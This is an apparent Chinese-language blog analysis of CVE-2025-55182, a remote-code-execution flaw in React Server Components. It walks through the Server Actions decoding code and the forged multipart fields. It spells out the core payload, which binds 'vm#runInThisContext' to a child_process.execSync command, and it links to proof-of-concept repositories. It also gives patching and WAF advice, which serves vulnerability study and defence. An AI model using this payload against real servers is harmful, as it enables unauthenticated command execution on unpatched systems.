网络安全漏洞之React 框架分析

1、前言

昨日爆出的 CVE-2025-55182,CVSS 10.0 满分严重漏洞,影响 React 19 及所有 Next.js 15/16 项目。 核心问题是 React Server Components 的 Flight 协议存在不安全反序列化,无需任何认证 ,攻击者只需向 Server Actions 端点发送一个精心构造的 multipart 请求,即可实现远程代码执行(RCE)

目前已确认多个完整 0day 利用链(包括 vm.runInThisContext 在内),未修补实例基本等于已失陷。

2、组件介绍

React Server Components 是 React 团队在 React 18 实验阶段提出、在 React 19 正式稳定 的革命性特性。它真正实现了「服务器上直接执行代码、客户端只收纯 HTML」的理想状态,性能提升极其恐怖(首屏往往快 50%~80%),但也正因为它把「客户端触发的服务器函数执行权」彻底开放,才导致了史诗级漏洞 CVE-2025-55182(CVSS 10.0)。

复制代码
async function addToCart(itemId: string) {
  'use server';                       // 标记为服务器执行
  await db.cart.add(currentUserId, itemId);
}

// 客户端组件里直接用
<form action={addToCart}>
  <input name="itemId" />
  <button>加入购物车</button>
</form>

提交表单时,React 会把这个函数调用序列化,通过 React Flight 协议 传给服务器,服务器反序列化后直接执行。

3、漏洞分析

公司的网太卡了,有个倒时差的哥,在github搭建好了项目和poc直接导下来吧

https://github.com/ejpir/CVE-2025-55182-poc

先捋一捋这个漏洞的逻辑和请求包的内容

这个项目是为了研究漏洞的思路才写的

React Server Components + Server Actions 会把:

  • 前端提交的 FormData
  • 里面的字段 "$$ACTION_ID"(或 action 字段名)

映射到服务器上的某个真实函数。

例如:

复制代码
<form action={saveFeedback}>

客户端 POST 上来的内容会变成:

复制代码
action=FeedbackActions.saveFeedback

decodeAction(formData, manifest) 就会:

  1. 从 formData 找到 action 字段
  2. 从 serverManifest 找到模块名
  3. 动态 require() 模块
  4. 返回模块里的函数引用

也就是说,这个函数能根据用户输入字符串,动态加载 服务器上的任意模块、任意函数。

复制代码
 exports.decodeAction = function (body, serverManifest) {
      var formData = new FormData(),    
        action = null;
      body.forEach(function (value, key) {
        key.startsWith("$ACTION_")
          ? key.startsWith("$ACTION_REF_")
            ? ((value = "$ACTION_" + key.slice(12) + ":"),
              (value = decodeBoundActionMetaData(body, serverManifest, value)),
              (action = loadServerReference(
                serverManifest,
                value.id,
                value.bound
              )))
            : key.startsWith("$ACTION_ID_") &&
              ((value = key.slice(11)),
              (action = loadServerReference(serverManifest, value, null)))
          : formData.append(key, value);
      });
      return null === action
        ? null
        : action.then(function (fn) {
            return fn.bind(null, formData);
          });
    };

先遍历 FormData ,再循环如果某个 key 是 $ACTION_ID_xxx:→ 这是"要执行的服务端 Action 的 ID 通过loadServerReference加载模块或者函数,返回一个绑定 FormData 的服务器函数

tips1 两类 Action 字段

React Server Actions 有两种:

**ACTION_REF_** 开头:绑定 action(带闭包参数) 客户端用于引用"已有的服务器 Action 实例,重点是,它是用已有的,重复使用,并不会去创建反序列化一个,但是!在实际的逻辑中ACTION_REF_ 允许客户端伪造 action 实例 + 伪造 bound 参数 → 导致"创建一个新的 action 实例"

复制代码
$ACTION_REF_999=1
$ACTION_999:0=hello
$ACTION_999:1=world

构造了一堆 multipart 字段

复制代码
value = "$ACTION_" + key.slice(12) + ":";
//通过这里就会变成$ACTION_999:
//decodeAction 不仅"引用现有 action",而是直接让客户端创建了 action 实例命名空间。
value = decodeBoundActionMetaData(body, serverManifest, value);
然后就会去扫描$ACTION_999:*所有的
返回的就是
{
  id: "999",
  bound: ["hello", "world"]
}

$ACTION_ID_* 最常见的用于模块调用如

用户提交了修改密码请求

复制代码
<form action={updatePassword}>
  <input type="password" name="newPassword" />
  <button type="submit">Update Password</button>
</form>

生成了FormData就会变成

复制代码
$ACTION_ID_UserActions.updatePassword = ""

服务器就会去找updatePassword 函数

复制代码
loadServerReference(serverManifest, "UserActions", "updatePassword");

还有就是分模块的调用

如$ACTION_ID_OrderActions.createOrder = ""

解析成就会

vb 复制代码
`loadServerReference(serverManifest, "OrderActions", "createOrder");`

通过 $ACTION_ID_* 字段,React 确保调用 OrderActions 模块中的 createOrder 方法。

vm模块

早在很早的时候就有人用它来执行代码,只不过现在才结合起来组合造成rce

  • runInThisContext

    globalVar = 1000
    vm.runInThisContext('globalVar *= 2;');
    console.log(globalVar)

    var localVar = 200;
    vm.runInThisContext('localVar *= 2');
    console.log(localVar)

runInThisContext执行的环境则默认为当前的上下文,里面的变量只能是当前的全局变量与方法

  • runInNewContext

这个方法类似于runInContext,对上下文环境更严格,只会接受第二个参数传入的变量,外界的全局变量方法都不支

复制代码
const sandbox = {
    boxHuman:'kit',
    boxVar:200,
};

vm.runInNewContext('boxVar *= 2',sandbox)
console.log(sandbox)

var fn = new Function("boxVar",'boxVar *= 2;')
fn(boxVar)

但我们目前需要的是调用一个真实存在的 module + method->vm#runInThisContext

因为 这个 module 会被 React RSC Bundler 标记为可导入(可见)

id: "vm#runInThisContext",

bound: [

"global.process.mainModule.require('child_process').execSync('calc').toString()"

]

全局对象中获取了进程的process对象

|---------------------------|----------------|
| process.xxx | 作用 |
| process.env | 环境变量 |
| process.cwd() | 当前工作目录 |
| process.pid | 进程 ID |
| process.version | node版本 |
| process.platform | 操作系统 |
| process.argv | 命令行参数 |
| process.exit() | 退出进程 |
| process.memoryUsage() | 内存信息 |
| process.mainModule | 当前程序的入口模块(最危险) |

通过require 导入fs、path、net、http、child_process这些模块都可以,采用的是child_process 进行命令执行权限比较高。

上面我们就获得了一个反序列化出一个服务器函数带有命令的,而后下面

复制代码
    if (typeof actionFn === 'function') {
      // simulate "normal business action call"
      result = actionFn({ 
        message: formData.get("message"), 
        user: formData.get("user") 
      });
    } else {
      result = actionFn;
    }

判断你是否是函数,如果是就调用这个函数,执行actionFn,正常情况下是会传入正常业务的参数的,但这里一已经不重要了

最后执行出来是

复制代码
vm.runInThisContext("global.process.mainModule.require('child_process').execSync('calc')")

客户端构造恶意 multipart/form-data
        ↓
decodeAction 反序列化出恶意服务器函数 (actionFn)
        ↓
服务端认为它是正常业务 action
        ↓
actionFn({
    message: ..., user: ...
})
        ↓
函数内部是攻击者构造的 payload
        ↓
vm.runInThisContext / Function / require
        ↓
child_process.execSync("calc")
        ↓
    RCE 成功

4、漏洞修复建议

  1. **Next.js 用户:**请根据你的主版本号,升级到以下补丁版本或更高
  2. **React 原生/自定义集成用户:**确保 reactreact-dom (以及 react-server-dom-*) 升级到以下安全版本
  3. WAF拦截

5、测试脚本仅供学习

复制代码
https://github.com/sudo-Yangziran/CVE-2025-55182POC
相关推荐
我科绝伦(Huanhuan Zhou)1 小时前
Oracle RAC表空间从本地目录迁移至ASM磁盘组的两种实现方案
数据库·oracle
生产队队长1 小时前
Database:Navicat 连接 Oracle失败:logon denied
数据库·oracle
Misnice1 小时前
MySQL 和 PostgreSQL 的区别
数据库·mysql·postgresql
YJlio1 小时前
AI赋能编程语言:探索AI与开发的深度结合
数据库·人工智能·电脑
韩立学长1 小时前
基于协同过滤算法的宠物收养系统f27ny63s(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·算法·宠物
z***3351 小时前
【MySQL】环境变量配置
数据库·mysql·adb
凯子坚持 c1 小时前
Qt 6.7.3连接远程MySQL数据库(保姆级教程)
数据库·qt·mysql
小突突突1 小时前
Redis中缓存相关的总结
数据库·redis·缓存
重生之我在番茄自学网安拯救世界1 小时前
网络安全中级阶段学习笔记(五):CSRF跨站请求伪造学习笔记(超全总结)
笔记·学习·网络安全·csrf·跨站请求伪造